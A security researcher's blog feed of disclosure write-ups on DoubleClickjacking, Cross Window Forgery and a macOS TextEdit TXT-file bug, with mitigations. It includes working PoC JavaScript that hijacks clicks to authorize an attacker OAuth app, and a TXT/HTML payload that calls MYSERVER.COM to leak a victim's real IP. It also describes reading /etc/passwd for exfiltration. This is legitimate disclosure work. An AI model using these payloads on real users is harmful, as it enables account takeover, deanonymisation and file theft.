GeistHaus
log in · sign up

Paulos Yibelo - Hacking Research

Part of feedburner.com

web security write-ups and rants. by paulos yibelo mesfin

stories
DoubleClickjacking: A New Era of UI Redressing
Show full content

.code-container { background-color: #f9f9f9; border: 1px solid #ddd; border-radius: 5px; padding: 10px; font-family: 'Courier New', monospace; font-size: 14px; overflow-x: auto; /* Horizontal scrolling */ white-space: pre-wrap; /* Preserve line breaks */ line-height: 1.4; } body { font-family: Arial, sans-serif; line-height: 1.6; color: #333; } h2 { color: #222; font-weight: bold; } p { margin-bottom: 10px; } figure { margin: 0; } “Clickjacking” is becoming less practical as modern browsers set all cookies to “SameSite: Lax” by default. Even if an attacker site can frame another website, the framed site would be unauthenticated, because cross-site cookies are not sent. This significantly reduces the risk of successful clickjacking attacks, as most interesting functionality on websites typically requires authentication.

DoubleClickjacking is a new variation on this classic theme: instead of relying on a single click, it takes advantage of a double-click sequence. While it might sound like a small change, it opens the door to new UI manipulation attacks that bypass all known clickjacking protections, including the X-Frame-Options header, CSP's frame-ancestors and SameSite: Lax/Strict cookies. This technique seemingly affects almost every website, leading to account takeovers on many major platforms.


Root CauseDoubleClickjacking exploits a timing and event-order quirk:

  1. The attacker creates an initial webpage with a button that opens a new window (or just opens a new window without user interaction).
  2. When the user clicks this button:
    • A new window opens on top, asking the user to “double-click.”
    • This new window immediately uses window.opener.location to change the parent window’s location to the target page.
    • The parent window now contains the target page (e.g., OAuth authorization), while the top window still shows the double-click prompt.
  3. When the user attempts the requested double-click:
    • The first click (triggered on mousedown) causes the top window to close.
    • The second click lands on the now-exposed authorization button in the parent window.
    • The user unknowingly authorizes the attacker’s application into their account with arbitrary scope.

In simpler terms, DoubleClickjacking leverages the small gap between the start of a click and the end of the second click in multiple windows without utilizing any popunder tricks. It is a sleight of hand. Attackers load (or open) a new window for a legitimate seeming reason—like a “captcha verification,” for example. Then, just before the second click is pressed, the malicious site can quickly swap in a more sensitive window from the same browser session (e.g., an OAuth authorization prompt), effectively hijacking that second click. There are many ways to perform the “swap,” the most reliable and smooth method I found uses window.open.location.

One of the important pieces of this attack is exploiting the timing difference between mousedown and onclick events (favoring mousedown over click). The mousedown event fires immediately when the user presses the mouse button, while the click event waits for the complete click action so there is a few ms of delay we can siphon for the attack.  One of the surprising things about doing it this way is it does not matter how slow or how fast the target double-clicks. favoring mousedown event handler allows exploiting this even for the fastest or slowest double clickers.


    How It Can Be Exploited

    • OAuth & API Permissions: Attackers could trick targets into authorizing a malicious application with extensive privileges. This technique has unfortunately led to account takeovers in almost every site that supports OAuth - which is pretty much all major websites with an API support.  And even if by some miracle it is detected and the user tries to revoke the a malicious attacker app, it would already be too late since it could perform its malicious actions the instant it is authorized.

    • One-Click Account Changes: Similar to classic clickjacking, DoubleClickjacking can be used to make the user click on account-setting changes, such as disabling security settings, deleting an account, authorizing access or money transfers, or confirming transactions, etc.


    Proof of Concept (PoC) Code

    Below is a code snippet that can be used to create a PoC for this vulnerability class:

    <script> function openDoubleWindow(url, top, left, width, height) { var evilWindow = window.open(window.location.protocol+"//"+ window.location.hostname+":"+ window.location.port+"/random", "_blank"); evilWindow.onload = function() { evilWindow.document.open(); //plugs the page to be hijacked as opener returnee evilWindow.document.write(` <script> setTimeout(function() { opener.location = "${url}"; }, 1000); </scri`+`pt> <div id="doubleclick" type="button" class="button" style="top: ${top}px; left: ${left}px; width: ${width}px; height: ${height}px; position: absolute; font-size: 16px; color: white; background-color: #3498db; box-shadow: 5px 5px 10px rgba(0, 0, 0, 0.3); display: flex; justify-content: center; align-items: center; font-weight: bold; text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.3); cursor: pointer; border-radius: 20px; text-align: center; padding: 0 5px; transition: all 0.3s ease;" onmouseover="this.style.backgroundColor='#2980b9'; this.style.boxShadow='6px 6px 12px rgba(0, 0, 0, 0.4)'; this.style.transform='scale(1.05)';" onmouseout="this.style.backgroundColor='#3498db'; this.style.boxShadow='5px 5px 10px rgba(0, 0, 0, 0.3)'; this.style.transform='scale(1)';">Double Click Here</div> <script> document.getElementById('doubleclick').addEventListener('mousedown', function() { window.close(); }); </scr`+`ipt>`); evilWindow.document.close(); }; } </script> <!-- Replace value's below with the URL and top, left, width, height of a button you want to doublejack with --> <button onclick="openDoubleWindow('https://target.com/oauth2/authorize?client_id=attacker',647, 588.5, 260, 43)">Start Demo</button>

    Replace the values for url, top, left, width, and height with the specific button location you want to doublejack.How it LooksExample: Salesforce Account Takeover


    Example: Slack Account Takeover



    Why It’s Dangerous

    • Bypass of Clickjacking Protections: Most webapps and frameworks assume that only a single forced click is a risk. DoubleClickjacking adds a layer many defenses were never designed to handle. methods like X-Frame-Options, SameSite cookies, or CSP cannot defend against this attack.
    • Not Just Websites: This technique can be used to attack not only websites but browser extensions as well. For example, I have made proof of concepts to top browser crypto wallets that uses this technique to authorize web3 transactions & dApps or disabling VPN to expose IP etc. This can also be done in mobile phones by asking target to "DoubleTap".
    • New Attack Surface: This creates new attack opportunities for web attacks. A double-click on an attacker’s website can now lead to serious consequences in multiple platforms.
    • Extremely Rampant: Based on my tests, all websites by default (those that didn't fix this yet) are vulnerable to this many surprising impacts including oauth takeovers etc. I've reported this issue to some sites, the results have been mixed. Most have chosen to address it  while some have chosen not to.
    • Minimal User Interaction: It only requires the target to double-click. They don’t need to fill out forms or perform crazy multiple steps (if the site can open windows or launched from site that can).

    P.S: Note that windows can be opened on top of the whole browser (instead of as a tab), hiding the fact that the opener has changed location (and all tabs)

    Mitigation Ideas

    1. Client-Side ProtectionThe following JavaScript based approach can eliminate the risk of DoubleClickjacking by disabling critical buttons by default unless a gesture is detected (e.g., moving the mouse or using the keyboard). it is simple and very effective:
      (function(){    if (window.matchMedia && window.matchMedia("(hover: hover)").matches) {        var buttons = document.querySelectorAll('form button, form input[type="submit"]');        buttons.forEach(button => button.disabled = true);                function enableButtons() {            buttons.forEach(button => button.disabled = false);        }                document.addEventListener("mousemove", enableButtons);        document.addEventListener("keydown", e => {            if(e.key === "Tab") enableButtons();        });    }})();
    Using it is super simple. just <script src=doubleclickjackingprotection.js></script> on your sensitive pages and you are done.
    How it works
      • All submit/buttons on a page are initially disabled.
      • A user must demonstrate real, intentional interaction—through a gesture (mouse movements or keyboard interaction like pressing Tab—before these buttons become activated.
      • This thwarts attacks that rely on purely simulated or tricked interactions, since the user’s second click can no longer automatically fire on a hidden action.
      • It has no noticeable impact on user experience. From the user’s perspective, everything should work as intended without any changes. An examples of popular sites that uses a similar script to mitigate the vulnerability class are DropBox, Stripe and GitHub. This is how the attack looks on their websites. 

         
    1. Long-Term Browser SolutionsIn the long run, browsers should adopt new standards to defend against double-click exploitation—similar to how X-Frame-Options or frame-ancestors protect against classic iframe-based clickjacking. When clickjacking was first discovered in 2008, the initial mitigation was also JavaScript until browsers provided a simpler method to mitigate the vulnerability class. One example approach could be a special HTTP header, for instance:
      Double-Click-Protection: strict

      This hypothetical header could tell the browser to limit or block rapid context-switching between windows during a double-click sequence, removing the risk of the UI being changed mid-click. Another similar idea would be to expand CSP headers to cover such scenarios.

      Best Practices for Developers
      • Implement the Protective Library on Sensitive PagesAny page handling OAuth scope verification, payment confirmations, or other high-privilege actions should include the defensive script until browsers provide solutions.

    ConclusionDoubleClickjacking is a sleight of hand around on a well-known attack class. By exploiting the event timing between clicks, attackers can seamlessly swap out benign UI elements for sensitive ones in the blink of an eye.  

    Until next time, good luck!


    Edit: Check out the post by Jorian talking about various browser quirks he used to improve the technique (such as ability to click anywhere to trigger the attack) by clicking here

    tag:blogger.com,1999:blog-8591474299777249503.post-3700295628802976739
    Extensions
    Cross Window Forgery: A New Class of Web Attack
    Show full content

    I've uncovered a technique that exposes a new class of client side web vulnerability. By leveraging two seemingly unrelated browser features, an attacker can trick an unsuspecting user into performing actions on a different website with minimal user interaction. While browsers implementing SameSite: Lax/Strict by default eradicates vulnerability classes like CSRF, antiCSRF tokens and SameSite cookies will not defend against this attack as it uses top level navigation windows. Let's dive into the technical details of this attack vector.

    Attack Methodology:


    To execute this attack, the attacker can employ various methods for successful exploitation of this vector, including the target user pressing a key or holding down a key while on the attacker's website. another approach involves the target user double-clicking using 3 different windows in a trick I call the sandwich method. There are also a few ideas around different avenues other than either methods to exploit this behavior smoothly, and I am excited to see how the security community might evolve this. I want to give shout out to @Qab for improving some of the techniques here. 


    How does the vulnerability work?

    In HTML, an "ID" attribute can be assigned to an HTML tag, serving as a reference. This attribute can also be utilized in the URL Fragment. For instance, if a webpage has an HTML tag similar to the following
    <input type="submit" id="important_button" onclick=dosomething()>,

    the button can be preselected by navigating to the URL victim.com/page#important_button. If a user navigates to such a URL and presses Enter or Space key, the browser automatically clicks on the newly focused ID attribute, triggering associated action on the website.

    So how is this behavior exploitable?
    Vector 1: Holding/
    pressing Enter/Space key while on attacker website


    Using new windows that are very small, an attacker can open the target page with the sensitive button in a new window with its sensitive button's ID referenced in the URL Fragment. The attacker can instruct the target user to hold a key, tricking them into interacting with unintended elements on the target website.

    While testing this around in the wild on websites like Coinbase and Yahoo, I found that this can lead to an account takeover if a victim that is logged into either site goes to an attacker website and holds a key. This is possible because both sites allow a potential attacker to create an OAuth application with wide scope to access their API, and they both set a static and / or predictable “ID” value to the “Allow/Authorize” button that is used to authorize the application into the victim's account.

    To pull off the attack, the attacker will prepare a website that will open the attacker’s malicious OAuth authorization prompt URL in a new window when the target user holds Enter/Space keys or another gesture that causes affirmation (like a mouse click).




    The opened window preferably stays as a very small window in the corner of the screen or hidden using pop-under tricks so the victim doesn’t realize they have interacted with a different site. Here is an (ultra simplified) example: 


    function attack(){
        //open new window with smallest possible height and width for a window
        var win = window.open('https://target.com/oauth/allow?appId=attackerApp#allow-button','a','width=1,heght=1');
       //attempt to resize the window to even smaller size (works better for Safari and IE/Edge/Opera)
        win.resizeTo(1, 1);
       //sleight of hand to move the new window to the edge of the screen so it doesn't capture the eye.
        win.moveTo(4000, 4000);
      //close the new window as fast as possible to hide what happened
        //(the faster the page loads, the faster the window can close) 
        setTimeout(()=>{win.close()},1290);
       //show target user a message their expected action is complete
        setTimeout(()=>{document.getElementById('div').innerText = "Cookies approved! welcome to our site!";},1500);
        //setTimeout(()=>{location.reload();},4000);
    }
    //when target presses and holds Enter/Space key launch the attack
    window.onkeypress=e=>{
        attack();
    }

    The above simplifies the understanding of the attack process. Various techniques can be employed to reduce the attack's detectability and dramatically improve the likelihood of success. For example the attack appears less suspicious when a target doesn't need to hold their key for more than approximately 1 second. The effectiveness relies on how quickly we can close the target window, a factor influenced by the speed at which the target page loads. The accompanying video demonstrates the code in action.


    How It Can Be Exploited

    • OAuth & API Permissions: Attackers could trick targets into authorizing a malicious application with extensive privileges. This technique has unfortunately led to account takeovers in almost every site that supports OAuth - which is pretty much all major websites with an API support because it is common to have static ID attributes on these buttons.  And even if by some miracle it is detected and the user tries to revoke the a malicious attacker app, it would already be too late since it could perform its malicious actions the instant it is authorized.

    Authorizing malicious attacker app into a target user's Yahoo account (Chrome):


    Vector 2: The Sandwich Technique


    An attacker website creates a sandwich-like scenario by opening two windows in sequence. The attacker's website occupies the top window, while the target website, with sensitive fragment in URL, sits in the middle.



    Below you will find the code to perform this attack
    1: index.html


    2: click.html

    Attack Improvement ideas for key press vector: 

    Prerendering: Using the <link rel="prerender" href="https://example.com/content/to/prerender"> tag, an attacker website can instruct a browser to prefetch and render the target page in the background before initiating an attack. This significantly accelerates the loading process of the target page in a new window.


    Prefetching: Leveraging <link rel="prefetch" href="https://example.com/content/to/prerender">, an attacker page can notably boost the response time of the target page. Prefetch, a new browser feature, speeds up webpage load times by performing DNS resolutions before a link is opened or clicked. However, similar to prerender, prefetch requires an absolute URL to function. Unfortunately, if the final URL of the OAuth request is unknown due to multiple redirection, prefetching becomes impractical.


    Caching Sub-Resources: Sub-resources of a page loaded through window.open() are cached by the browser, resulting in faster loading when opened in a new window. This allows the attacker to open the target page in a new hidden window, close it, and then reload it with the desired preselected fragment. This strategy significantly accelerates page loading as the newly opened window retrieves the target page's sub-resources from the cache.


    Pop-unders: Pop-unders, often exploited by tracking and adware websites, involve displaying ads in a window hidden behind the main window. Although browser vendors actively address known methods of creating pop-unders, they are not deemed security vulnerabilities. Pop-unders become valuable when combined with this attack vector.


    Forced Caching: In instances where forced caching is possible across origins (or the page caches itself), an attacker can compel the victim's browser to cache the target page before opening it in a new window. This dramatically reduces load time as the target page is loaded from the cache rather than the internet.


    Safari Window Tricks: Browsers like Safari and Opera, when opened with a new window of 1x1 width and height, do not display the URL bar or title of a window. This can be paired with prompts like "Allow cookies"/"Allow Javascript" on the attacker's website to convince the victim that they haven't interacted with a different origin. In scenarios with slower prompts, this window may appear for less than 1 seconds, creating uncertainty of what might've happened, especially if the victim hasn't interacted with OAuth before.



    Attack Limitations: 

    Performing the attack improvement ideas above can become challenging under certain conditions, such as when the target page experiences slow loading, involves redirects, utilizes dynamically generated URLs, or has an unpredictable final URL. To address these challenges, current solutions involve using preload, prefetch, or pop-unders to load the page before initiating the attack. However, if the final URL is unpredictable or includes redirects, the use of preload or prefetch may not be feasible.
    Known Mitigations:
    1. The easiest way to mitigate this is by randomizing ID attributes so they can't be guessed cross origin. So, an example of this would be renaming the ID "allow" to "allow234b" where 234b is a dynamically generated value either from the server or client unique for that particular user and can't be predicted by an attacker. You might observe Facebook doing the same thing regarding these buttons.
    2. Another way to mitigate this is by removing ID attributes from important buttons and actively moderating for abuse. This is another mitigation technique implemented by Coinbase and Dropbox. 3. For the double click vector, requiring a mouse gesture before enabling a button or waiting few ms to activate a button is one way to mitigate the vector.
    FAQ Section:


    Q: Is this considered a browser bug?

    A: No, it's not. Both my opinion and the stance of browser vendors align on this. It's an intended behavior of browsers. Currently I am not aware of any plans to change it as it is not considered a browser bug per the RFC and Web Platform guidelines.

    Q: If I want to fix this, what do I do?

    A: To address this issue, consider adding or using unpredictable and hard-to-guess values for the "id" attribute. Alternatively, you may want to explore using the "name" attribute.

    Q: Can I randomize the ID?

    A: While randomizing the "id" attribute can enhance security, be cautious. Previous research by Gareth Hayes has demonstrated a method for leaking "id" attributes cross-domain. Unless the "id" value has sufficient entropy, there might be a risk of brute-forcing across sites, especially if the target site lacks iframe protection using X-Frame-Options.

    Q: Who is vulnerable?If your web application uses ID attribute to reference to a sensitive state changing action, you might be vulnerable.Q: Can popup blockers address this vulnerability class?

    No, the "pop-ups" occur after a user performs a gesture, such as clicking or pressing a key while on an attacker's website. Popup blockers in all modes still permit new windows to open following such user-initiated events. Content last updated in 2024 https://evil.blog/2024/02/cross-window-forgery-web-attack-vector.html

    tag:blogger.com,1999:blog-8591474299777249503.post-9013784452795753003
    Extensions
    This man thought opening a TXT file is fine, he thought wrong. macOS CVE-2019-8761
    Show full content

    CVE-2019-8761 is an interesting macOS bug I found that lets attackers execute HTML within a TXT file, leak files, and do all sorts of other funky things when a TXT file is opened.


    This research originated when I realized the default text reader on OSX, TextEdit is used to open files with TXT extension by default. On the interface of TextEdit, it looked like you can do basic customization to your text (you can turn text bold, italic, change color etc...), so I was wondering how a TXT file was storing and parsing this information. It seems it uses RTF format instead of TXT if we add customizations to the text.


    A TXT file is a very interesting attack vector in my opinion, because of its innocent nature that carries nothing but text. however, we have previously seen memory corruption bugs leading to RCE by Tavis Ormandy in Microsoft Notepad. TXT files are also assumed by anti-virus software, firewalls, and even Mac's own Gatekeeper as safe downloads that can't possibly be malicious. 


    After some quick back and forth testing between files, I quickly realized that TextEdit can be tricked into thinking the file opened is an RTF-HTML file even when the file extension is TXT. The ability to inject HTML into a TXT file obviously opened lots of potential attack vectors.


    If a .TXT file started with the following bytes:


    <!DOCTYPE HTML><html><head></head><body>


    It seems TextEdit for some reason thought it should parse the HTML even while the file format was TXT. So we can inject a bunch of limited HTML into a text file, now what?


    Bypassing Quarantine/Gatekeeper and Leaking IP address.


    One of the first bugs I discovered using this showed me that Gatekeeper doesn’t quarantine TXT files even if they were downloaded from a suspicious website. For example, I found a TXT file force-downloaded from Tor browser, when opened can bypass Gatekeeper and leak the real IP address of the victim without any warning. This wasn’t very straightforward though.


    I first tried to see how much of the HTML is parsed and interpreted by TextEdit. It seems there was very limited parsing and many of the interesting HTML attributes were not available. I then went ahead and got the awesome Cure53's project HTTPLeaks, which is a wonderful file to discover if an HTML/CSS attribute leaks data to a third party. 


    I replaced all the URLs in the HTTPLeaks attributes with a server I control and saved it as TXT to see if the TXT file made a request to my server. It didn't.  After some fuzzing, I found two interesting CSS and HTML attributes that got some sort of weird response from local files.


    while fuzzing different schemes, I found out the CSS property 

    <style> @import { "url "} </style>


    was allowed to load local CSS files. However, the only scheme that worked was file:/// and not even http/s://. While this means we can't make external requests, it also means we can hit or open other files that are stored locally on the device. This creates a very obvious DOS vulnerability that acts like a blind SSRF by writing a recursive file inclusion or, reading files with infinite data streams like /dev/urandom, /dev/zero. a 2kb text file can crash your mac. COOL, but completely useless.


    After digging into OSX internals, I came across the AutoMount feature that lets file:/// urls make remote requests. AutoFS is a program on OSX that uses the kernel to make a mounting request to a drive. Automount can also make remote requests to an external drive. Doing 'ls /net/EXAMPLE.com' forces OSX send a remote request to EXAMPLE.com 


    While they did a good job blocking TextEdit from making external requests, this was the one thing they forgot when they allowed file:/// scheme, on OSX file:///net/11.22.33.44/a.css connects to 11.22.33.44.


    When the victim  opens a .TXT file with the following contents


    <!DOCTYPE HTML>

    <html><head></head><body><style>@import{ "file:///net/MYSERVER.COM/a.css"} </style>

    I know where you are...</body></html>


    This is what they see:

    But on the attacker side we get a hit:

     

    So I will know when you opened the TXT file I sent you. Not only that, but apparently AutoMount uses the kernel to make TCP connections so even if you were using a proxy, it was leaking your real IP address. I found another browser trick that lets force-downloaded TXT files to be opened without user interaction or warning (since Gatekeeper doesn't exist for TXT) leaking IP straight out of Tor browser.

    Leaking IP Addresses and knowing when your TXT file is open is cool n all, but what else can we do? It seems a lot worse! 


    Stealing Local Files using Dangling Markup


    Interestingly the only other HTML attribute that loaded local files was <iframedoc> 


    It turns out an attacker can embed local files using the <iframedoc src="file:///etc/passwd"> and look at their contents within the TXT file. 

    I will not leave a PoC for this chapter but I promise you, it will not be that difficult to figure out after reading the above two parts. While we can embed/open local files, we still can't execute javascript so it might seem like there is no way to send them out at first glance. But this is where dangling markup comes in.

    Dangling Markup attacks are nice browser tricks that serve as scriptless attacks to leak data when dynamic scripting is disabled. For example, they can often be used to steal anti-CSRF tokens in cases where CSP stops javascript execution. 


    By combining the <style> CSS attribute with the <iframedoc> attribute, an attacker can first include an unclosed style tag,  embed the contents of the file they want to steal and then leak the content as dangling parameters to their evil site as soon as the file is open.


    This vulnerability was reported to Apple in Q4 2019, and might have got patched somewhere in 2019 - Q1 2020. Given how simple it is to exploit, I’d give it a high CVSS.


    Thank you for reading :)


    tag:blogger.com,1999:blog-8591474299777249503.post-4294882278288381235
    Extensions
    Pre-auth RCE via XXE & SSRF on NetGear Stora, SeaGate Home, and Medion LifeCloud NAS
    Show full content
    p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 14.0px; font: 12.0px Times; color: #000000; -webkit-text-stroke: #000000; background-color: #ffffff} p.p2 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 25.0px; font: 12.0px Arial; color: #000000; -webkit-text-stroke: #000000; background-color: #ffffff} p.p3 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 18.0px; font: 12.0px Verdana; color: #999988; -webkit-text-stroke: #999988; background-color: #ffffff} p.p4 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 18.0px; font: 12.0px Verdana; color: #008080; -webkit-text-stroke: #008080; background-color: #ffffff} p.p5 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 18.0px; font: 12.0px Verdana; color: #333333; -webkit-text-stroke: #333333; background-color: #ffffff} p.p6 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 18.0px; font: 12.0px Verdana; color: #dd1144; -webkit-text-stroke: #dd1144; background-color: #ffffff} p.p7 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 18.0px; font: 12.0px Verdana; color: #000080; -webkit-text-stroke: #000080; background-color: #ffffff} p.p8 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 18.0px; font: 12.0px Verdana; color: #333333; -webkit-text-stroke: #333333; background-color: #f8f8f8} p.p9 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 25.0px; font: 12.0px Arial; color: #000000; -webkit-text-stroke: #000000; background-color: #ffffff; min-height: 14.0px} span.s1 {font-kerning: none} span.s2 {font-kerning: none; color: #333333; -webkit-text-stroke: 0px #333333} span.s3 {font-kerning: none; color: #333333; background-color: #f8f8f8; -webkit-text-stroke: 0px #333333} span.s4 {font-kerning: none; color: #009999; -webkit-text-stroke: 0px #009999} span.s5 {font-kerning: none; color: #000000; -webkit-text-stroke: 0px #000000} span.s6 {font-kerning: none; color: #008080; -webkit-text-stroke: 0px #008080} span.s7 {font-kerning: none; color: #dd1144; -webkit-text-stroke: 0px #dd1144} span.s8 {font-kerning: none; color: #0086b3; -webkit-text-stroke: 0px #0086b3} span.s9 {font-kerning: none; color: #990000; -webkit-text-stroke: 0px #990000} span.s10 {font-kerning: none; background-color: #f8f8f8} span.s11 {font-kerning: none; color: #999988; -webkit-text-stroke: 0px #999988} span.s12 {font-kerning: none; color: #999999; -webkit-text-stroke: 0px #999999} span.s13 {font: 12.0px Arial; font-kerning: none; color: #000000; -webkit-text-stroke: 0px #000000} span.s14 {font-kerning: none; background-color: #ffffff} span.s15 {font-kerning: none; color: #445588; -webkit-text-stroke: 0px #445588} span.Apple-tab-span {white-space:pre} p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 14.0px; font: 14.0px Times; color: #000000; -webkit-text-stroke: #000000; background-color: #ffffff} p.p2 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 25.0px; font: 14.0px Arial; color: #000000; -webkit-text-stroke: #000000; background-color: #ffffff} p.p3 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 18.0px; font: 14.0px Verdana; color: #999988; -webkit-text-stroke: #999988; background-color: #ffffff} p.p4 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 18.0px; font: 14.0px Verdana; color: #008080; -webkit-text-stroke: #008080; background-color: #ffffff} p.p5 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 18.0px; font: 14.0px Verdana; color: #333333; -webkit-text-stroke: #333333; background-color: #ffffff} p.p6 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 18.0px; font: 14.0px Verdana; color: #dd1144; -webkit-text-stroke: #dd1144; background-color: #ffffff} p.p7 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 18.0px; font: 14.0px Verdana; color: #000080; -webkit-text-stroke: #000080; background-color: #ffffff} p.p8 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 18.0px; font: 14.0px Verdana; color: #333333; -webkit-text-stroke: #333333; background-color: #f8f8f8} p.p9 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 25.0px; font: 14.0px Arial; color: #000000; -webkit-text-stroke: #000000; background-color: #ffffff; min-height: 16.0px} span.s1 {font-kerning: none} span.s2 {font-kerning: none; color: #333333; -webkit-text-stroke: 0px #333333} span.s3 {font-kerning: none; color: #333333; background-color: #f8f8f8; -webkit-text-stroke: 0px #333333} span.s4 {font-kerning: none; color: #009999; -webkit-text-stroke: 0px #009999} span.s5 {font-kerning: none; color: #000000; -webkit-text-stroke: 0px #000000} span.s6 {font-kerning: none; color: #008080; -webkit-text-stroke: 0px #008080} span.s7 {font-kerning: none; color: #dd1144; -webkit-text-stroke: 0px #dd1144} span.s8 {font-kerning: none; color: #0086b3; -webkit-text-stroke: 0px #0086b3} span.s9 {font-kerning: none; color: #990000; -webkit-text-stroke: 0px #990000} span.s10 {font-kerning: none; background-color: #f8f8f8} span.s11 {font-kerning: none; color: #999988; -webkit-text-stroke: 0px #999988} span.s12 {font-kerning: none; color: #999999; -webkit-text-stroke: 0px #999999} span.s13 {font: 14.0px Arial; font-kerning: none; color: #000000; -webkit-text-stroke: 0px #000000} span.s14 {font-kerning: none; background-color: #ffffff} span.s15 {font-kerning: none; color: #445588; -webkit-text-stroke: 0px #445588} span.Apple-tab-span {white-space:pre} p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 14.0px; font: 13.0px Arial; color: #000000; -webkit-text-stroke: #000000; background-color: #ffffff} p.p2 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 25.0px; font: 13.0px Arial; color: #000000; -webkit-text-stroke: #000000; background-color: #ffffff} p.p3 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 18.0px; font: 13.0px Arial; color: #999988; -webkit-text-stroke: #999988; background-color: #ffffff} p.p4 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 18.0px; font: 13.0px Arial; color: #008080; -webkit-text-stroke: #008080; background-color: #ffffff} p.p5 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 18.0px; font: 13.0px Arial; color: #333333; -webkit-text-stroke: #333333; background-color: #ffffff} p.p6 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 18.0px; font: 13.0px Arial; color: #dd1144; -webkit-text-stroke: #dd1144; background-color: #ffffff} p.p7 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 18.0px; font: 13.0px Arial; color: #000080; -webkit-text-stroke: #000080; background-color: #ffffff} p.p8 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 18.0px; font: 13.0px Arial; color: #333333; -webkit-text-stroke: #333333; background-color: #f8f8f8} p.p9 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 25.0px; font: 13.0px Arial; color: #000000; -webkit-text-stroke: #000000; background-color: #ffffff; min-height: 15.0px} span.s1 {font-kerning: none} span.s2 {font-kerning: none; color: #333333; -webkit-text-stroke: 0px #333333} span.s3 {font-kerning: none; color: #333333; background-color: #f8f8f8; -webkit-text-stroke: 0px #333333} span.s4 {font-kerning: none; color: #009999; -webkit-text-stroke: 0px #009999} span.s5 {font-kerning: none; color: #000000; -webkit-text-stroke: 0px #000000} span.s6 {font-kerning: none; color: #008080; -webkit-text-stroke: 0px #008080} span.s7 {font-kerning: none; color: #dd1144; -webkit-text-stroke: 0px #dd1144} span.s8 {font-kerning: none; color: #0086b3; -webkit-text-stroke: 0px #0086b3} span.s9 {font-kerning: none; color: #990000; -webkit-text-stroke: 0px #990000} span.s10 {font-kerning: none; background-color: #f8f8f8} span.s11 {font-kerning: none; color: #999988; -webkit-text-stroke: 0px #999988} span.s12 {font-kerning: none; color: #999999; -webkit-text-stroke: 0px #999999} span.s13 {font-kerning: none; background-color: #ffffff} span.s14 {font-kerning: none; color: #445588; -webkit-text-stroke: 0px #445588} span.Apple-tab-span {white-space:pre} p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 14.0px; font: 14.0px Arial; color: #000000; -webkit-text-stroke: #000000; background-color: #ffffff} p.p2 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 25.0px; font: 14.0px Arial; color: #000000; -webkit-text-stroke: #000000; background-color: #ffffff} p.p3 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 18.0px; font: 14.0px Arial; color: #999988; -webkit-text-stroke: #999988; background-color: #ffffff} p.p4 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 18.0px; font: 14.0px Arial; color: #008080; -webkit-text-stroke: #008080; background-color: #ffffff} p.p5 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 18.0px; font: 14.0px Arial; color: #333333; -webkit-text-stroke: #333333; background-color: #ffffff} p.p6 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 18.0px; font: 14.0px Arial; color: #dd1144; -webkit-text-stroke: #dd1144; background-color: #ffffff} p.p7 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 18.0px; font: 14.0px Arial; color: #000080; -webkit-text-stroke: #000080; background-color: #ffffff} p.p8 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 18.0px; font: 14.0px Arial; color: #333333; -webkit-text-stroke: #333333; background-color: #f8f8f8} p.p9 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 25.0px; font: 14.0px Arial; color: #000000; -webkit-text-stroke: #000000; background-color: #ffffff; min-height: 16.0px} span.s1 {font-kerning: none} span.s2 {font-kerning: none; color: #333333; -webkit-text-stroke: 0px #333333} span.s3 {font-kerning: none; color: #333333; background-color: #f8f8f8; -webkit-text-stroke: 0px #333333} span.s4 {font-kerning: none; color: #009999; -webkit-text-stroke: 0px #009999} span.s5 {font-kerning: none; color: #000000; -webkit-text-stroke: 0px #000000} span.s6 {font-kerning: none; color: #008080; -webkit-text-stroke: 0px #008080} span.s7 {font-kerning: none; color: #dd1144; -webkit-text-stroke: 0px #dd1144} span.s8 {font-kerning: none; color: #0086b3; -webkit-text-stroke: 0px #0086b3} span.s9 {font-kerning: none; color: #990000; -webkit-text-stroke: 0px #990000} span.s10 {font-kerning: none; background-color: #f8f8f8} span.s11 {font-kerning: none; color: #999988; -webkit-text-stroke: 0px #999988} span.s12 {font-kerning: none; color: #999999; -webkit-text-stroke: 0px #999999} span.s13 {font-kerning: none; background-color: #ffffff} span.s14 {font-kerning: none; color: #445588; -webkit-text-stroke: 0px #445588} span.Apple-tab-span {white-space:pre} p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 25.0px; font: 18.7px Arial; color: #000000; -webkit-text-stroke: #000000; background-color: #ffffff} p.p2 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 14.0px; font: 12.0px Times; color: #000000; -webkit-text-stroke: #000000; background-color: #ffffff; min-height: 14.0px} p.p3 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 18.0px; font: 13.3px Verdana; color: #999988; -webkit-text-stroke: 